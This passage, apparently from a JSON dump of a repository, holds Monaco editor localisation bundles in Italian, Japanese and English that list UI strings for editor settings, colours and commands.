scorrimento.\",\"Colore di sfondo dello Slider della Barra di scorrimento al passaggio del mouse.\",\"Colore di sfondo dello Slider della Barra di scorrimento quando è attivo.\",\"Colore di sfondo dell'indicatore di stato che può essere mostrato durante l'esecuzione di operazioni lunghe.\",\"Colore di sfondo dell'editor.\",\"Colore primo piano predefinito dell'editor.\",\"Colore di sfondo dei widget dell'editor, ad esempio Trova/Sostituisci.\",\"Colore bordo dei widget dell'editor. Il colore viene utilizzato solo se il widget sceglie di avere un bordo e se il colore non è sottoposto a override da un widget.\",\"Colore della selezione dell'editor.\",\"Colore del testo selezionato per il contrasto elevato.\",\"Colore della selezione in un editor inattivo.\",\"Colore delle aree con lo stesso contenuto della selezione.\",\"Colore della corrispondenza di ricerca corrente.\",\"Colore delle altre corrispondenze di ricerca.\",\"Colore dell'intervallo di ricerca.\",\"Evidenziazione sotto la parola per cui è visualizzata un'area sensibile al passaggio del mouse.\",\"Colore di sfondo dell'area sensibile al passaggio del mouse dell'editor.\",\"Colore del bordo dell'area sensibile al passaggio del mouse dell'editor.\",\"Colore dei collegamenti attivi.\",\"Colore di sfondo del testo che è stato inserito.\",\"Colore di sfondo del testo che è stato rimosso.\",\"Colore del contorno del testo che è stato inserito.\",\"Colore del contorno del testo che è stato rimosso.\",\"Sfondo intestazione corrente in conflitti di merge in linea.\",\"Sfondo contenuto corrente in conflitti di merge in linea.\",\"Sfondo intestazione modifica in ingresso in conflitti di merge in linea.\",\"Sfondo contenuto modifica in ingresso in conflitti di merge in linea.\",\"Sfondo dell'intestazione dell'antenato comune nei conflitti di merge in linea.\",\"Sfondo del contenuto dell'antenato comune nei conflitti di merge in linea.\",\"Colore bordo su intestazioni e sulla barra di divisione di conflitti di merge in linea.\",\"Colore primo piano righello panoramica attuale per i conflitti di merge in linea.\",\"Colore primo piano del righello panoramica modifiche in arrivo per i conflitti di merge in linea.\",\"Colore primo piano righello panoramica dell'antenato comune per i conflitti di merge in linea.\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.it.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.ja.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls.ja\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (再発)\"],\"vs/base/browser/ui/findinput/findInput\":[\"入力\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"大文字と小文字を区別する\",\"単語単位で検索する\",\"正規表現を使用する\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"エラー: {0}\",\"警告: {0}\",\"情報: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Shift\",\"Alt\",\"Windows\",\"Control\",\"Shift\",\"Alt\",\"コマンド\",\"Control\",\"Shift\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"エラー\",\"警告\",\"情報\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}、選択\",\"選択\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"クイック選択。入力すると結果が絞り込まれます。\",\"クイック選択\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"折りたたむ\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"一方のファイルが大きすぎるため、ファイルを比較できません。\"],\"vs/editor/browser/widget/diffReview\":[\"閉じる\",\"{1} の差分 {0}: 変更前の {2}、{3} 行、変更後の {4}、{5} 行\",\"空白\",\"変更前の {0}、変更後の {1}: {2}\",\"+ 変更後の {0}: {1}\",\"- 変更前の {0}: {1}\",\"次の差分に移動\",\"前の差分に移動\"],\"vs/editor/common/config/commonEditorConfig\":[\"エディター\",\"フォント ファミリを制御します。\",\"フォントの太さを制御します。\",\"フォント サイズをピクセル単位で制御します。\",\"行の高さを制御します。fontSize に基づいて lineHeight を計算する場合には、0 を使用します。\",\"文字の間隔をピクセル単位で制御します。\",\"行番号の表示を制御します。使用可能な値は、'on'、'off'、および 'relative' です。'relative' は現在のカーソル位置からの行数を示します。\",\"垂直ルーラーを表示する列\",\"単語に関連したナビゲーションまたは操作を実行するときに、単語の区切り文字として使用される文字\",\"1 つのタブに相当するスペースの数。`editor.detectIndentation` がオンの場合、この設定はファイル コンテンツに基づいて上書きされます。\",\"'number' が必要です。`editor.detectIndentation` 設定によって値 \\\"auto\\\" が置き換えられていることに注意してください。\",\"Tab キーを押すとスペースが挿入されます。`editor.detectIndentation` がオンの場合、この設定はファイル コンテンツに基づいて上書きされます。\",\"'boolean' が必要です。`editor.detectIndentation` 設定によって値 \\\"auto\\\" が置き換えられていることに注意してください。\",\"ファイルを開くと、そのファイルの内容に基づいて `editor.tabSize` と `editor.insertSpaces` が検出されます。\",\"選択範囲の角を丸くするかどうかを制御します\",\"エディターで最後の行を越えてスクロールするかどうかを制御します\",\"ミニマップを表示するかどうかを制御します\",\"ミニマップのスライダーを自動的に非表示にするかどうかを制御します。\",\"行に (カラー ブロックではなく) 実際の文字を表示します\",\"表示するミニマップの最大幅を特定の桁数に制限します\",\"エディターの選択から検索ウィジェット内の検索文字列を与えるかどうかを制御します\",\"エディター内で複数の文字もしくは行が選択されているときに選択範囲を検索するフラグを有効にするかどうかを制御します\",\"行を折り返しません。\",\"行をビューポートの幅で折り返します。\",\"行を 'editor.wordWrapColumn' で折り返します。\",\"ビューポートと 'editor.wordWrapColumn' の最小値で行を折り返します。\",\"行の折り返し方法を制御します。次の値を指定できます。\\n - 'off' (折り返さない),\\n - 'on' (ビューポート折り返し),\\n - 'wordWrapColumn' ('editor.wordWrapColumn' で折り返し) or\\n - 'bounded' (ビューポートと 'editor.wordWrapColumn' の最小値で折り返し).\",\"'editor.wordWrap' が 'wordWrapColumn' または 'bounded' の場合に、エディターの折り返し桁を制御します。\",\"折り返し行のインデントを制御します。'none'、'same'、または 'indent' のいずれかを指定できます。\",\"マウス ホイール スクロール イベントの `deltaX` と `deltaY` で使用される乗数\",\"Windows および Linux 上の `Control` と OSX 上の `Command` にマップします。\",\"Windows および Linux 上の `Alt` と OSX 上の `Option` にマップします。\",\"マウスで複数のカーソルを追加するときに使用する修飾キーです。`ctrlCmd` は Windows および Linux 上の `Control` キーと OSX 上の `Command` キーにマップします。「定義に移動」や「リンクを開く」のマウス操作は、マルチカーソルの修飾キーと競合しないように適用されます。\",\"文字列内でクイック候補を有効にします。\",\"コメント内でクイック候補を有効にします。\",\"文字列およびコメント外でクイック候補を有効にします。\",\"入力中に候補を自動的に表示するかどうかを制御します\",\"クイック候補が表示されるまでの待ち時間 (ミリ秒) を制御します\",\"入力時にパラメーター ドキュメントと型情報を表示するポップアップを有効にする\",\"エディターで左角かっこの後に自動的に右角かっこを挿入するかどうかを制御します\",\"エディターで入力後に自動的に行の書式設定を行うかどうかを制御します\",\"貼り付けた内容がエディターにより自動的にフォーマットされるかどうかを制御します。フォーマッタを使用可能にする必要があります。また、フォーマッタがドキュメント内の範囲をフォーマットできなければなりません。\",\"ユーザーが入力や貼り付け、行の移動をしたとき、エディターがインデントを自動的に調整するかどうかを制御します。言語のインデント ルールを使用できる必要があります。\",\"トリガー文字の入力時に候補が自動的に表示されるようにするかどうかを制御します\",\"'Tab' キーに加えて 'Enter' キーで候補を受け入れるかどうかを制御します。改行の挿入や候補の反映の間であいまいさを解消するのに役立ちます。'smart' 値は文字を変更するときに、Enter キーを押すだけで提案を反映することを意味します。\",\"コミット文字で候補を受け入れるかどうかを制御します。たとえば、JavaScript ではセミコロン (';') をコミット文字にして、候補を受け入れてその文字を入力することができます。\",\"他の候補の上にスニペットの候補を表示します。\",\"他の候補の下にスニペットの候補を表示します。\",\"他の候補と一緒にスニペットの候補を表示します。\",\"スニペットの候補を表示しません。\",\"他の修正候補と一緒にスニペットを表示するかどうか、およびその並び替えの方法を制御します。\",\"選択範囲を指定しないでコピーする場合に現在の行をコピーするかどうかを制御します。\",\"ドキュメント内の単語に基づいて入力候補を計算するかどうかを制御します。\",\"候補のウィジェットのフォント サイズ\",\"候補のウィジェットの行の高さ\",\"エディターで選択範囲に類似する一致箇所を強調表示するかどうかを制御します\",\"エディターでセマンティック シンボルの出現箇所を強調表示するかどうかを制御します\",\"概要ルーラーの同じ位置に表示できる装飾の数を制御します\",\"概要ルーラーの周囲に境界線が描画されるかどうかを制御します。\",\"カーソルのアニメーション スタイルを制御します。指定できる値は 'blink'、'smooth'、'phase'、'expand'、'solid' です\",\"Ctrl キーを押しながらマウス ホイールを使用してエディターのフォントをズームします\",\"カーソルのスタイルを制御します。指定できる値は 'block'、'block-outline'、'line'、'line-thin'、'underline'、'underline-thin' です\",\"フォントの合字を使用します\",\"概要ルーラーでカーソルを非表示にするかどうかを制御します。\",\"エディターで空白文字を表示する方法を制御します。'none'、'boundary' および 'all' が使用可能です。'boundary' オプションでは、単語間の単一スペースは表示されません。\",\"エディターで制御文字を表示する必要があるかどうかを制御します\",\"エディターでインデントのガイドを表示する必要があるかどうかを制御します\",\"エディターが現在の行をどのように強調表示するかを制御します。考えられる値は 'none'、'gutter'、'line'、'all' です。\",\"エディターで CodeLens を表示するかどうかを制御する\",\"エディターでコードの折りたたみを有効にするかどうかを制御します\",\"余白上の折りたたみコントロールを自動的に非表示にするかどうかを制御します 。\",\"かっこを選択すると、対応するかっこを強調表示します。\",\"エディターで縦のグリフ余白が表示されるかどうかを制御します。ほとんどの場合、グリフ余白はデバッグに使用されます。\",\"空白の挿入や削除はタブ位置に従って行われます\",\"自動挿入された末尾の空白を削除する\",\"エディターのコンテンツをダブルクリックするか、Esc キーを押しても、ピーク エディターを開いたままにします。\",\"ドラッグ アンド ドロップによる選択範囲の移動をエディターが許可する必要があるかどうかを制御します。\",\"エディターはスクリーン リーダーがいつ接続されたかを検出するためにプラットフォーム API を使用します。\",\"エディターは永続的にスクリーン リーダー向けに最適化されます。\",\"エディターはスクリーン リーダー向けに最適化されません。\",\"エディターをスクリーン リーダーに最適化されたモードで実行するかどうかを制御します。\",\"エディターがリンクを検出してクリック可能な状態にするかどうかを制御します\",\"差分エディターが差分を横に並べて表示するか、行内に表示するかを制御します\",\"差分エディターが、先頭または末尾の空白の変更を差分として表示するかどうかを制御します。\",\"差分エディターが追加/削除された変更に +/- インジケーターを示すかどうかを制御します\",\"Linux の PRIMARY クリップボードをサポートするかどうかを制御します。\"],\"vs/editor/common/config/editorOptions\":[\"現在エディターにアクセスすることはできません。 Alt + F1 キーを押してオプションを選択します。\",\"エディターのコンテンツ\"],\"vs/editor/common/controller/cursor\":[\"コマンドの実行中に予期しない例外が発生しました。\"],\"vs/editor/common/model/textModelWithTokens\":[\"入力のトークン化中にモードが失敗しました。\"],\"vs/editor/common/modes/modesRegistry\":[\"プレーンテキスト\"],\"vs/editor/common/services/bulkEdit\":[\"この間に次のファイルが変更されました: {0}\",\"編集は行われませんでした\",\"{1} 個のファイルで {0} 件のテキスト編集を実行\",\"1 つのファイルで {0} 個のテキストを編集\"],\"vs/editor/common/services/modelServiceImpl\":[\"[{0}]\\n{1}\",\"[{0}] {1}\"],\"vs/editor/common/view/editorColorRegistry\":[\"カーソル位置の行を強調表示する背景色。\",\"カーソル位置の行の境界線を強調表示する背景色。\",\"Quick Open 機能や検索機能などによって強調表示された範囲の背景色。\",\"エディターのカーソルの色。\",\"選択された文字列の背景色です。選択された文字列の背景色をカスタマイズ出来ます。\",\"エディターのスペース文字の色。\",\"エディター インデント ガイドの色。\",\"エディターの行番号の色。\",\"エディター ルーラーの色。\",\"CodeLens エディターの前景色。\",\"一致するかっこの背景色\",\"一致するかっこ内のボックスの色\",\"概要ルーラーの境界色。\",\"エディターの余白の背景色。余白にはグリフ マージンと行番号が含まれます。\",\"エディターでエラーを示す波線の前景色。\",\"エディターでエラーを示す波線の境界線の色。\",\"エディターで警告を示す波線の前景色。\",\"エディターで警告を示す波線の境界線の色。\"],\"vs/editor/contrib/bracketMatching/common/bracketMatching\":[\"ブラケットへ移動\"],\"vs/editor/contrib/caretOperations/common/caretOperations\":[\"キャレットを左に移動\",\"キャレットを右に移動\"],\"vs/editor/contrib/caretOperations/common/transpose\":[\"文字の入れ替え\"],\"vs/editor/contrib/clipboard/browser/clipboard\":[\"切り取り\",\"コピー\",\"貼り付け\",\"構文を強調表示してコピー\"],\"vs/editor/contrib/comment/common/comment\":[\"行コメントの切り替え\",\"行コメントの追加\",\"行コメントの削除\",\"ブロック コメントの切り替え\"],\"vs/editor/contrib/contextmenu/browser/contextmenu\":[\"エディターのコンテキスト メニューの表示\"],\"vs/editor/contrib/find/browser/findWidget\":[\"検索\",\"検索\",\"前の一致項目\",\"次の一致項目\",\"選択範囲を検索\",\"閉じる\",\"置換\",\"置換\",\"置換\",\"すべて置換\",\"置換モードの切り替え\",\"最初の 999 の結果だけを強調表示しますが、テキスト全体を検索します。\",\"{1} の {0}\",\"結果なし\"],\"vs/editor/contrib/find/common/findController\":[\"検索\",\"次を検索\",\"前を検索\",\"次の選択項目を検索\",\"前の選択項目を検索\",\"置換\",\"選択した項目を次の一致項目に追加\",\"選んだ項目を前の一致項目に追加する\",\"最後に選択した項目を次の一致項目に移動\",\"最後に選んだ項目を前の一致項目に移動する\",\"一致するすべての出現箇所を選択します\",\"すべての出現箇所を変更\",\"次の検索語句を表示\",\"前の検索語句を表示\"],\"vs/editor/contrib/folding/browser/folding\":[\"展開\",\"再帰的に展開\",\"折りたたみ\",\"再帰的に折りたたむ\",\"すべて折りたたみ\",\"すべて展開\",\"折りたたみレベル {0}\"],\"vs/editor/contrib/format/browser/formatActions\":[\"行 {0} で 1 つの書式設定を編集\",\"行 {1} で {0} 個の書式設定を編集\",\"行 {0} と {1} の間で 1 つの書式設定を編集\",\"行 {1} と {2} の間で {0} 個の書式設定を編集\",\"ドキュメントのフォーマット\",\"選択範囲のフォーマット\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationCommands\":[\"'{0}' の定義は見つかりません\",\"定義が見つかりません\",\" – {0} 個の定義\",\"定義へ移動\",\"定義を横に開く\",\"定義をここに表示\",\"'{0}' の実装が見つかりません\",\"実装が見つかりません\",\"– {0} 個の実装\",\"実装に移動\",\"実装のプレビュー\",\"'{0}' の型定義が見つかりません\",\"型定義が見つかりません\",\" – {0} 個の型定義\",\"型定義へ移動\",\"型定義を表示\"],\"vs/editor/contrib/goToDeclaration/browser/goToDeclarationMouse\":[\"クリックして、{0} の定義を表示します。\"],\"vs/editor/contrib/gotoError/browser/gotoError\":[\"({0}/{1})\",\"次のエラーまたは警告へ移動\",\"前のエラーまたは警告へ移動\",\"エディターのマーカー ナビゲーション ウィジェットのエラーの色。\",\"エディターのマーカー ナビゲーション ウィジェットの警告の色。\",\"エディターのマーカー ナビゲーション ウィジェットの背景。\"],\"vs/editor/contrib/hover/browser/hover\":[\"ホバーの表示\"],\"vs/editor/contrib/hover/browser/modesContentHover\":[\"読み込んでいます...\"],\"vs/editor/contrib/inPlaceReplace/common/inPlaceReplace\":[\"前の値に置換\",\"次の値に置換\"],\"vs/editor/contrib/linesOperations/common/linesOperations\":[\"行を上へコピー\",\"行を下へコピー\",\"行を上へ移動\",\"行を下へ移動\",\"行を昇順に並べ替え\",\"行を降順に並べ替え\",\"末尾の空白のトリミング\",\"行の削除\",\"行のインデント\",\"行のインデント解除\",\"行を上に挿入\",\"行を下に挿入\",\"左側をすべて削除\",\"右側をすべて削除\",\"行をつなげる\",\"カーソルの周囲の文字を入れ替える\",\"大文字に変換\",\"小文字に変換\"],\"vs/editor/contrib/links/browser/links\":[\"command キーを押しながらクリックしてリンク先を表示\",\"Ctrl キーを押しながらクリックしてリンク先を表示\",\"command キーを押しながらクリックしてコマンドを実行\",\"Ctrl キーを押しながらクリックしてコマンドを実行\",\"Altl キーを押しながらクリックしてリンク先を表示\",\"Alt キーを押しながらクリックしてコマンドを実行\",\"申し訳ありません。このリンクは形式が正しくないため開くことができませんでした: {0}\",\"申し訳ありません。このリンクはターゲットが存在しないため開くことができませんでした。\",\"リンクを開く\"],\"vs/editor/contrib/multicursor/common/multicursor\":[\"カーソルを上に挿入\",\"カーソルを下に挿入\",\"カーソルを行末に挿入\"],\"vs/editor/contrib/parameterHints/browser/parameterHints\":[\"パラメーター ヒントをトリガー\"],\"vs/editor/contrib/parameterHints/browser/parameterHintsWidget\":[\"{0}、ヒント\"],\"vs/editor/contrib/quickFix/browser/quickFixCommands\":[\"修正プログラム ({0}) を表示する\",\"修正プログラムを表示する\",\"クイック修正\"],\"vs/editor/contrib/referenceSearch/browser/referenceSearch\":[\"– {0} 個の参照\",\"すべての参照の検索\"],\"vs/editor/contrib/referenceSearch/browser/referencesController\":[\"読み込んでいます...\"],\"vs/editor/contrib/referenceSearch/browser/referencesModel\":[\"列 {2} の {1} 行目に {0} つのシンボル\",\"{0} に 1 個のシンボル、完全なパス {1}\",\"{1} に {0} 個のシンボル、完全なパス {2}\",\"一致する項目はありません\",\"{0} に 1 個のシンボルが見つかりました\",\"{1} に {0} 個のシンボルが見つかりました\",\"{1} 個のファイルに {0} 個のシンボルが見つかりました\"],\"vs/editor/contrib/referenceSearch/browser/referencesWidget\":[\"ファイルを解決できませんでした。\",\"{0} 個の参照\",\"{0} 個の参照\",\"プレビューを表示できません\",\"参照\",\"結果がありません\",\"参照\",\"ピーク ビューのタイトル領域の背景色。\",\"ピーク ビュー タイトルの色。\",\"ピーク ビューのタイトル情報の色。\",\"ピーク ビューの境界と矢印の色。\",\"ピーク ビュー結果リストの背景色。\",\"ピーク ビュー結果リストのライン ノードの前景色。\",\"ピーク ビュー結果リストのファイル ノードの前景色。\",\"ピーク ビュー結果リストの選択済みエントリの背景色。\",\"ピーク ビュー結果リストの選択済みエントリの前景色。\",\"ピーク ビュー エディターの背景色。\",\"ピーク ビュー エディターの余白の背景色。\",\"ピーク ビュー結果リストの一致した強調表示色。\",\"ピーク ビュー エディターの一致した強調表示色。\"],\"vs/editor/contrib/rename/browser/rename\":[\"結果がありません。\",\"'{0}' から '{1}' への名前変更が正常に完了しました。概要: {2}\",\"申し訳ありません。名前の変更を実行できませんでした。\",\"シンボルの名前を変更\"],\"vs/editor/contrib/rename/browser/renameInputField\":[\"名前変更入力。新しい名前を入力し、Enter キーを押してコミットしてください。\"],\"vs/editor/contrib/smartSelect/common/smartSelect\":[\"選択範囲を拡大\",\"選択範囲を縮小\"],\"vs/editor/contrib/suggest/browser/suggestController\":[\"'{0}' が次のテキストを挿入したことを承認しています: {1}\",\"候補をトリガー\"],\"vs/editor/contrib/suggest/browser/suggestWidget\":[\"候補のウィジェットの背景色。\",\"候補ウィジェットの境界線色。\",\"候補ウィジェットの前景色。\",\"候補ウィジェット内で選択済みエントリの背景色。\",\"候補のウィジェット内で一致したハイライトの色。\",\"詳細を表示...{0}\",\"{0}、候補、詳細あり\",\"{0}、候補\",\"詳細を隠す...{0}\",\"読み込んでいます...\",\"候補はありません。\",\"{0}、受け入れ済み\",\"{0}、候補、詳細あり\",\"{0}、候補\"],\"vs/editor/contrib/toggleTabFocusMode/common/toggleTabFocusMode\":[\"Tab キーを切り替えるとフォーカスが移動します\"],\"vs/editor/contrib/wordHighlighter/common/wordHighlighter\":[\"変数の読み取りなど読み取りアクセス中のシンボルの背景色。\",\"変数への書き込みなど書き込みアクセス中のシンボルの背景色。\"],\"vs/editor/contrib/zoneWidget/browser/peekViewWidget\":[\"閉じる\"],\"vs/editor/standalone/browser/inspectTokens/inspectTokens\":[\"Developer: Inspect Tokens\"],\"vs/editor/standalone/browser/quickOpen/gotoLine\":[\"Go to line {0} and character {1}\",\"Go to line {0}\",\"Type a line number between 1 and {0} to navigate to\",\"Type a character between 1 and {0} to navigate to\",\"Go to line {0}\",\"Type a line number, followed by an optional colon and a character number to navigate to\",\"Go to Line...\"],\"vs/editor/standalone/browser/quickOpen/quickCommand\":[\"{0}, commands\",\"Type the name of an action you want to execute\",\"Command Palette\"],\"vs/editor/standalone/browser/quickOpen/quickOutline\":[\"{0}, symbols\",\"Type the name of an identifier you wish to navigate to\",\"Go to Symbol...\",\"symbols ({0})\",\"modules ({0})\",\"classes ({0})\",\"interfaces ({0})\",\"methods ({0})\",\"functions ({0})\",\"properties ({0})\",\"variables ({0})\",\"variables ({0})\",\"constructors ({0})\",\"calls ({0})\"],\"vs/editor/standalone/browser/standaloneCodeEditor\":[\"Editor content\",\"Press Ctrl+F1 for Accessibility Options.\",\"Press Alt+F1 for Accessibility Options.\"],\"vs/editor/standalone/browser/toggleHighContrast/toggleHighContrast\":[\"Toggle High Contrast Theme\"],\"vs/platform/configuration/common/configurationRegistry\":[\"既定の構成オーバーライド\",\"{0} 言語に対して上書きされるエディター設定を構成します。\",\"言語に対して上書きされるエディター設定を構成します。\",\"'{0}' を登録できません。これは、言語固有のエディター設定を記述するプロパティ パターン '\\\\\\\\[.*\\\\\\\\]$' に一致しています。'configurationDefaults' コントリビューションを使用してください。\",\"'{0}' を登録できません。このプロパティは既に登録されています。\"],\"vs/platform/keybinding/common/abstractKeybindingService\":[\"({0}) が押されました。2 番目のキーを待っています...\",\"キーの組み合わせ ({0}、{1}) はコマンドではありません。\"],\"vs/platform/message/common/message\":[\"閉じる\",\"後続\",\"キャンセル\"],\"vs/platform/theme/common/colorRegistry\":[\"無効な色形式です。 #RGB、#RGBA、#RRGGBB、#RRGGBBAA のいずれかを使用してください\",\"ワークベンチで使用する色。\",\"全体の前景色。この色は、コンポーネントによってオーバーライドされていない場合にのみ使用されます。\",\"エラー メッセージ全体の前景色。この色は、コンポーネントによって上書きされていない場合にのみ使用されます。\",\"追加情報を提供する説明文の前景色、例:ラベル。\",\"フォーカスされた要素の境界線全体の色。この色はコンポーネントによって上書きされていない場合にのみ使用されます。\",\"コントラストを強めるために、他の要素と隔てる追加の境界線。\",\"コントラストを強めるために、アクティブな他要素と隔てる追加の境界線。\",\"ワークベンチ内のテキスト選択の背景色 (例: 入力フィールドやテキストエリア)。エディター内の選択には適用されないことに注意してください。\",\"テキストの区切り文字の色。\",\"テキスト内のリンクの前景色。\",\"テキスト内のアクティブなリンクの前景色。\",\"フォーマット済みテキスト セグメントの前景色。\",\"テキスト内のブロック引用の背景色。\",\"テキスト内のブロック引用の境界線色。\",\"テキスト内のコード ブロックの背景色。\",\"エディター内の検索/置換窓など、エディター ウィジェットの影の色。\",\"入力ボックスの背景。\",\"入力ボックスの前景。\",\"入力ボックスの境界線。\",\"入力フィールドのアクティブ オプションの境界線の色。\",\"入力ボックスのプレースホルダー テキストの前景色。\",\"情報の重大度を示す入力検証の背景色。\",\"情報の重大度を示す入力検証の境界線色。\",\"警告の重大度を示す入力検証の背景色。\",\"警告の重大度を示す入力検証の境界線色。\",\"エラーの重大度を示す入力検証の背景色。\",\"エラーの重大度を示す入力検証の境界線色。\",\"ドロップダウンの背景。\",\"ドロップダウンの前景。\",\"ドロップダウンの境界線。\",\"ツリーリストがアクティブのとき、フォーカスされた項目のツリーリスト背景色。アクティブなツリーリストはキーボード フォーカスがあり、非アクティブではこれがありません。\",\"ツリーリストがアクティブのとき、フォーカスされた項目のツリーリスト前景色。アクティブなツリーリストはキーボード フォーカスがあり、非アクティブではこれがありません。\",\"ツリーリストがアクティブのとき、選択された項目のツリーリスト背景色。アクティブなツリーリストはキーボード フォーカスがあり、非アクティブではこれがありません。\",\"ツリーリストがアクティブのとき、選択された項目のツリーリスト前景色。アクティブなツリーリストはキーボード フォーカスがあり、非アクティブではこれがありません。\",\"ツリーリストが非アクティブのとき、フォーカスされた項目のツリーリスト背景色。アクティブなツリーリストはキーボード フォーカスがあり、非アクティブではこれがありません。\",\"ツリーリストが非アクティブのとき、選択された項目のツリーリスト前景色。アクティブなツリーリストはキーボード フォーカスがあり、非アクティブではこれがありません。\",\"ツリーリストが非アクティブのとき、フォーカスされた項目のツリーリスト背景色。アクティブなツリーリストはキーボード フォーカスがあり、非アクティブではこれがありません。\",\"ツリーリストが非アクティブのとき、選択された項目のツリーリスト前景色。アクティブなツリーリストはキーボード フォーカスがあり、非アクティブではこれがありません。\",\"マウス操作で項目をホバーするときのツリーリスト背景。\",\"マウス操作で項目をホバーするときのツリーリスト前景。\",\"マウス操作で項目を移動するときのツリーリスト ドラッグ アンド ドロップの背景。\",\"ツリーリスト内を検索しているとき、一致した強調のツリーリスト前景色。\",\"ラベルをグループ化するためのクリック選択の色。\",\"境界線をグループ化するためのクイック選択の色。\",\"ボタンの前景色。\",\"ボタンの背景色。\",\"ホバー時のボタン背景色。\",\"バッジの背景色。バッジとは小さな情報ラベルのことです。例:検索結果の数\",\"バッジの前景色。バッジとは小さな情報ラベルのことです。例:検索結果の数\",\"ビューがスクロールされたことを示すスクロール バーの影。\",\"スクロール バーのスライダーの背景色。\",\"ホバー時のスクロール バー スライダー背景色。\",\"アクティブ時のスクロール バー スライダー背景色。\",\"時間のかかる操作で表示するプログレス バーの背景色。\",\"エディターの背景色。\",\"エディターの既定の前景色。\",\"検索/置換窓など、エディター ウィジェットの背景色。\",\"エディター ウィジェットの境界線色。ウィジェットに境界線があり、ウィジェットによって配色を上書きされていない場合でのみこの配色は使用されます。\",\"エディターの選択範囲の色。\",\"ハイ コントラストの選択済みテキストの色。\",\"非アクティブなエディターの選択範囲の色。\",\"選択範囲と同じコンテンツの領域の色。\",\"現在の検索一致項目の色。\",\"他の検索一致項目の色。\",\"検索を制限する範囲の色。\",\"ホバーが表示されているワードの下を強調表示します。\",\"エディター ホバーの背景色。\",\"エディター ホバーの境界線の色。\",\"アクティブなリンクの色。\",\"挿入されたテキストの背景色。\",\"削除されたテキストの背景色。\",\"挿入されたテキストの輪郭の色。\",\"削除されたテキストの輪郭の色。\",\"行内マージ競合の現在のヘッダー背景色。\",\"行内マージ競合の現在のコンテンツ背景色。\",\"行内マージ競合の入力側ヘッダー背景色。\",\"行内マージ競合の入力側コンテンツ背景色。\",\"行内マージ競合の共通の祖先ヘッダー背景色。\",\"行内マージ競合の共通の祖先コンテンツ背景色。\",\"行内マージ競合のヘッダーとスプリッターの境界線の色。\",\"行内マージ競合の現在の概要ルーラー前景色。\",\"行内マージ競合の入力側の概要ルーラー前景色。\",\"行内マージ競合の共通の祖先概要ルーラー前景色。\"]});\n//# sourceMappingURL=../../../min-maps/vs/editor/editor.main.nls.ja.js.map\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/editor/editor.main.nls.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\ndefine(\"vs/editor/editor.main.nls\",{\"vs/base/browser/ui/actionbar/actionbar\":[\"{0} ({1})\"],\"vs/base/browser/ui/aria/aria\":[\"{0} (occurred again)\"],\"vs/base/browser/ui/findinput/findInput\":[\"input\"],\"vs/base/browser/ui/findinput/findInputCheckboxes\":[\"Match Case\",\"Match Whole Word\",\"Use Regular Expression\"],\"vs/base/browser/ui/inputbox/inputBox\":[\"Error: {0}\",\"Warning: {0}\",\"Info: {0}\"],\"vs/base/common/keybindingLabels\":[\"Ctrl\",\"Shift\",\"Alt\",\"Windows\",\"Control\",\"Shift\",\"Alt\",\"Command\",\"Control\",\"Shift\",\"Alt\",\"Windows\"],\"vs/base/common/severity\":[\"Error\",\"Warning\",\"Info\"],\"vs/base/parts/quickopen/browser/quickOpenModel\":[\"{0}, picker\",\"picker\"],\"vs/base/parts/quickopen/browser/quickOpenWidget\":[\"Quick picker. Type to narrow down results.\",\"Quick Picker\"],\"vs/base/parts/tree/browser/treeDefaults\":[\"Collapse\"],\"vs/editor/browser/widget/diffEditorWidget\":[\"Cannot compare files because one file is too large.\"],\"vs/editor/browser/widget/diffReview\":[\"Close\",\"Difference {0} of {1}: original {2}, {3} lines, modified {4}, {5} lines\",\"blank\",\"original {0}, modified {1}: {2}\",\"+ modified {0}: {1}\",\"- original {0}: {1}\",\"Go to Next Difference\",\"Go to Previous Difference\"],\"vs/editor/common/config/commonEditorConfig\":[\"Editor\",\"Controls the font family.\",\"Controls the font weight.\",\"Controls the font size in pixels.\",\"Controls the line height. Use 0 to compute the lineHeight from the fontSize.\",\"Controls the letter spacing in pixels.\",\"Controls the display of line numbers. Possible values are 'on', 'off', and 'relative'. 'relative' shows the line count from the current cursor position.\",\"Columns at which to show vertical rulers\",\"Characters that will be used as word separators when doing word related navigations or operations\",\"The number of spaces a tab is equal to. This setting is overriden based on the file contents when `editor.detectIndentation` is on.\",\"Expected 'number'. Note that the value \\\"auto\\\" has been replaced by the `editor.detectIndentation` setting.\",\"Insert spaces when pressing Tab. This setting is overriden based on the file contents when `editor.detectIndentation` is on.\",\"Expected 'boolean'. Note that the value \\\"auto\\\" has been replaced by the `editor.detectIndentation` setting.\",\"When opening a file, `editor.tabSize` and `editor.insertSpaces` will be detected based on the file contents.\",\"Controls if selections have rounded corners\",\"Controls if the editor will scroll beyond the last line\",\"Controls if the minimap is shown\",\"Controls whether the 